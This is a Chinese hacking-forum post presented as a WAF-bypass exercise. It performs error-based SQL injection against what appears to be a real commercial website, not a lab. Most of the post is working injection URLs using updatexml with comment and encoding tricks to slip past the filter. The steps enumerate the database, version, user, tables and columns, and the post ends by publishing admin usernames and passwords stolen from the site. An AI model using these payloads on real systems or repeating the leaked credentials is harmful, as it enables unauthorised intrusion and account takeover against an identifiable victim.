加QQ81758415
快捷导航

[渗透测试] WAF绕过障碍演示练习

[复制链接]
查看: 347|回复: 0

3万

主题

0

帖子

232

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
232
发表于 2019-5-13 10:05:02 | 显示全部楼层 |阅读模式
引入点:
http://www.iluminacionestriac.com/ver-producto.php?id=12
1、分辨存有引入:
http://www.iluminacionestriac.com/ver-producto.php?id=12-0
http://www.iluminacionestriac.com/ver-producto.php?id=12-1
回到不一样,存有引入
2、字段距离:
http://www.iluminacionestriac.com/ver-producto.php?id=12 order by 5 没问题
http://www.iluminacionestriac.com/ver-producto.php?id=12 order by 6 不正确
长短为5
3、数据表名字:
http://www.iluminacionestriac.com/ver-producto.php?id=a()
Database query failed: FUNCTION iluminac_portal.a does not exist
数据表名字为:iluminac_portal
4、数据表版本信息:
http://www.iluminacionestriac.com/ver-producto.php?id=12 and updatexml(1,/*!%0aconcat*/(0x7e,(/*!%0aSelEcT*/ version()),0x7e),1)
板本为:5.5.23-55
5、数据表登录名:
http://www.iluminacionestriac.com/ver-producto.php?id=12 and updatexml(1,/*!%0aconcat*/(0x7e,(/*!%0aSelEcT*/ user()),0x7e),1)
客户名叫:iluminac_triac@localhost
6、暴库:
http://www.iluminacionestriac.com/ver-producto.php?id=12 and updatexml(1,/*!%0aconcat*/(0x7e,(/*!%0aSelEcT*/schema_name /*!%0afrom*/ information_schema.schemata LIMIT 1,1),0x7e),1)
名字:iluminac_portal
7、暴表:
http://www.iluminacionestriac.com/ver-producto.php?id=12 and updatexml(1,/*!%0aconcat*/(0x7e,(/*!%0aSelEcT*/table_name /*!%0afrom*/ information_schema./*!%0ctables*/ where table_schema=0x696C756D696E61635F706F7274616C LIMIT 9,1),0x7e),1)
名字:archivos,categorias,fotos,general,noticias,paginas,productos,secciones,sef,users,videos
8、暴字符串:
http://www.iluminacionestriac.com/ver-producto.php?id=12 and updatexml(1,/*!%0aconcat*/(0x7e,(/*!%0aSelEcT*/column_name /*!%0afrom*/ information_schema.columns where table_name='users' LIMIT 0,1),0x7e),1)
結果:id,username,password,nombre,apellidos,email
9、账户密码:
http://www.iluminacionestriac.com/ver-producto.php?id=12 and updatexml(1,/*!%0aconcat*/(0x7e,(/*!%0aSelEcT*//*!%0aconcat*/(username,0x3a,password) from users limit 0,1),0x7e),1)
結果:
admin:solnet
usuario:753951


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:hackhl@outlook.com
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客联盟安全防护网  Powered by©  技术支持:    ( 闽ICP备18000419号-1 )